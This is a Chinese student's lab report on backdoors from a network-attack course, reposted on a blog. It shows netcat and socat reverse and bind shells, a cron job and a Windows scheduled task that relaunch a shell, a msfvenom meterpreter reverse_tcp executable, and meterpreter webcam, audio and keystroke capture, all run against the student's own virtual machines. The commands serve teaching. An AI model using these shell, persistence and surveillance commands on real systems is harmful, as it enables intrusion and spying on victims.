博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2018-2019-2 《网络对抗技术》Exp2 后门原理与应用 20165211
阅读量:6190 次
发布时间:2019-06-21

本文共 3207 字,大约阅读时间需要 10 分钟。

目录

后门原理与应用


实验内容

  1. 使用netcat获取主机操作Shell,cron启动
  2. 使用Socat获取主机操作Shell, 任务计划启动
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

基础问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?

    1. 在网上下载的一些软件,会带有后门
    2. 系统会自带后门
    3. 通过U盘传播
  2. 例举你知道的后门如何启动起来(win及linux)的方式?

    1. windows的定时任务
    2. linux的cron
    3. 社会工程学,让用户点击运行
  3. Meterpreter有哪些给你映像深刻的功能?

    1. 开始界面真的很酷炫???(咳咳咳……
    2. 摄像头权限的获得,平时我自己的电脑一般都是处于开启或者休眠的状态(重新开机,启动软件太麻烦),摄像头权限一旦被他人获得,会暴露自己的隐私,生活环境,有一种时刻会被人监视的诡异感(=.=|……
  4. 如何发现自己有系统有没有被安装后门?

    1. 安装杀毒软件,定时检查自己的电脑

    2. 保持自己电脑的windows defender处于开启的状态

      能够及时的发现后门,并删除。


常用后门工具

Netcat

参考资料:

关于netcat,找了一些专门介绍的博客,netcat是一个通过TCP/UDP在网络中进行读写数据工具,被称为“瑞士军刀”,主要用于调试领域、传输领域甚至黑客攻击领域。利用该工具,可以将网络中一端的数据完整的发送至另一台主机终端显示或存储,常见的应用为文件传输、与好友即时通信、传输流媒体或者作为用来验证服务器的独立的客户端。

主要功能

  • 支持连出和连入(outbound and inbound connection),TCP和UDP,任意源和目的端口
  • 全部DNS正向/反向检查,给出恰当的警告
  • 使用任何源端口
  • 使用任何本地设置的网络资源地址
  • 内建端口扫描功能,带有随机数发生器
  • 内建loose source-routing功能
  • 可能标准输入读取命令行参数
  • 慢发送模式,每N秒发送一行
  • 以16进制显示传送或接收的数据
  • 允许其它程序服务建立连接,可选
  • 对Telnet应答,可选

netcat在kali里可以直接使用,windows中需要后使用(Socat同理)。

它的简单使用过程在下面实践过程记录中会有详细的介绍。

Socat

参考资料:

Netcat++,超级netcat工具

MSFmeterpreter

参考资料:

这是一个生成后门程序的平台,把后门的基本功能(基本的连接、执行指令),扩展功能(如搜集用户信息、安装服务等功能),编码模式,运行平台,以及运行参数,全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

本次实验主要用Metaspolit的msfvenom指令来生成一个后门可执行文件。


实践过程记录

写在前面的话:在本次实验中我一开始用的是本机作为windows端,但是由于我的win10是家庭版,windows defender不能完全关闭,在设置文件夹信任之后,权限又出现了问题,所以,后来在完成任务四时,切到了虚拟机来完成。以下是我的三个端的IP地址

本机windows 172.16.2.51

1043647-20190323154902012-1808194253.png

虚拟机kali 192.168.139.138

1043647-20190323154907872-237849200.png

虚拟机windows7 192.168.139.140

1043647-20190323154913153-2012798310.png

1.后门工具熟悉

1.1Win获得Linux Shell

  1. windows端进入netcat文件的位置,使用命令行输入 ncat.exe -l -p 5211,打开监听,其中,5211为监听的端口。

1043647-20190323154920345-340024783.png

  1. linux端在命令行输入 nc 192.168.20.175 5211 -e /bin/sh,反弹连接Windows端。

1043647-20190323154932734-706084218.png

  1. 此时windows下就已经获得了linux shell,可以通过windows端的命令行实现对linux的操作啦~

1043647-20190323154937131-1733736220.png

1.2Linux获得Win Shell

这个操作与上一个操作类似了,以下主要过程:

  1. Linux运行监听指令,指令为:nc -l -p 5211

1043647-20190323154946455-1617743838.png

  1. windows反弹连接linux,指令为 :ncat.exe -e cmd.exe 192.168.139.138 5211

1043647-20190323154951053-112309090.png

  1. 此时linux下就获得了windows的控制权,可以通过linux来控制windows主机了

1043647-20190323154955494-76280999.png

1.3使用netcat传输数据

  1. 在windows下输入命令:ncat.exe -l 5211,实现监听5211端口

1043647-20190323154959610-519852023.png

  1. Kali下输入ncat 172.16.2.51 5211,连接到windows的5211端口,输入一些数据

1043647-20190323155003287-1253794448.png

  1. 随后我们就可以看到,已经实现了linux和windows之间的数据传输啦~

1043647-20190323155007180-1935624638.png

2.使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令

  1. windows端下,输入命令ncat.exe -l -p 5211,监听本机的5211端口。

1043647-20190323155012739-2143162645.png

  1. 在kali端下,输入crontab -e,实现编辑一条定时任务。

  2. 打开后,在最后一行添加 命令 05 * * * * /bin/netcat 172.16.2.51 5211 -e /bin/sh,即为每小时的5分运行此命令。

1043647-20190323155019281-437534778.png

  1. 此时,可以看到,在windows端已经获得了linux的shell(ls 输多了的后果……

1043647-20190323155023060-712076452.png

3.使用Socat获取主机操作Shell, 任务计划启动

  1. 在windows系统下,计算机管理-->任务计划程序-->创建任务

    1043647-20190323155039431-1085124789.png

  2. 新建触发器,选择,当工作站锁定时。

    1043647-20190323155049316-64967202.png

  3. 在操作中,将程序或脚本中选择socat.exe路径,参数一栏填写tcp-listen:5211 exec:cmd.exe,pty,stderr

1043647-20190323155053124-809164560.png

  1. 完成创建,即可在将Windows主机锁定重启之后,查看任务栏工作状态,发现我们新建的任务已经开始运行。

1043647-20190323155058476-1057779554.png

  1. 在kali环境下输入socat - tcp:172.16.2.51:5211,即可获得windows的shell。

1043647-20190323155102136-68453554.png

4. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  1. 使用msfvenom指令生成一个后门程序。msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.138 LPORT=5211 -f exe > 20165211_Akashi.exe

1043647-20190323155110292-1355397320.png

  1. 通过nc将生成的可执行文件发送到目标windows端

    Kali端:

1043647-20190323155113882-44508028.png

windows端:

1043647-20190323155119642-1507648019.png

kali端:

1043647-20190323155123853-1924714956.png

  1. kali端使用msfconsole指令进入msf控制台,设置各项参数。执行监听

1043647-20190323155129629-1165849791.png

1043647-20190323155141449-2077262188.png

  1. 在windows端运行后门程序

1043647-20190323155149819-478482437.png

  1. 则此时在kali上已经获得Windows的shell

1043647-20190323155155036-644874621.png

5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  1. 获取目标主机音频

1043647-20190323155200701-459117075.png

  1. 获取目标主机摄像头

1043647-20190323155207766-696665299.png

1043647-20190323155213742-362613711.png

  1. 获取目标主机击键记录

1043647-20190323155218126-1100830050.png


实验总结与体会

遇到问题

在尝试获取主机摄像头时,出现了如下错误

1043647-20190323155225588-980516429.png

检查后发现,虚拟的摄像头未分配,将虚拟机的摄像头打开后即可正常运行。

实验体会

在本次实验中,在体验了MSF的功能之后,虽然是一场自己打自己的过程,但是在现实中,如果不注意信息安全,没有安全意识,这样简单的过程,其实完全可以完成一场完整的黑客行为。(默默关掉了摄像头……)

还是要注意自己的信息安全,不随意使用来路不明的U盘,不点击有危险的文件,网络危机四伏,还是要时刻注意的。

转载于:https://www.cnblogs.com/akashi/p/10584285.html

你可能感兴趣的文章
暖心!阿里安全白帽挖漏洞做公益 连收2462封山区小孩感谢信
查看>>
CI学习 – header和footer
查看>>
rsync 全网备份企业案例
查看>>
企业框架源码 SpringMVC mybatis ehcache shiro maven
查看>>
vim编辑器用法
查看>>
Java 面向对象 之 引用传递
查看>>
聊聊rsocket load balancer的Ewma
查看>>
suse使用ISO文件制作zypper源
查看>>
php常用的优化手段
查看>>
流浪猫的故事看质量人员需求
查看>>
Mac OS X安装之硬盘和光盘引导总结
查看>>
记一次设置密钥登陆centos7所遇问题
查看>>
Java开源内容管理CMS系统J4CMS的几个样式
查看>>
交换分区
查看>>
采用open***对两台流量卡arm设备进行通讯(公有云)
查看>>
Xib实现UICollectionView
查看>>
Apache Hadoop YARN
查看>>
JMeter-使用Badboy录制Web测试脚本
查看>>
【Oracle Database】Oracle GoldenGate (single-single)
查看>>
git简易入门
查看>>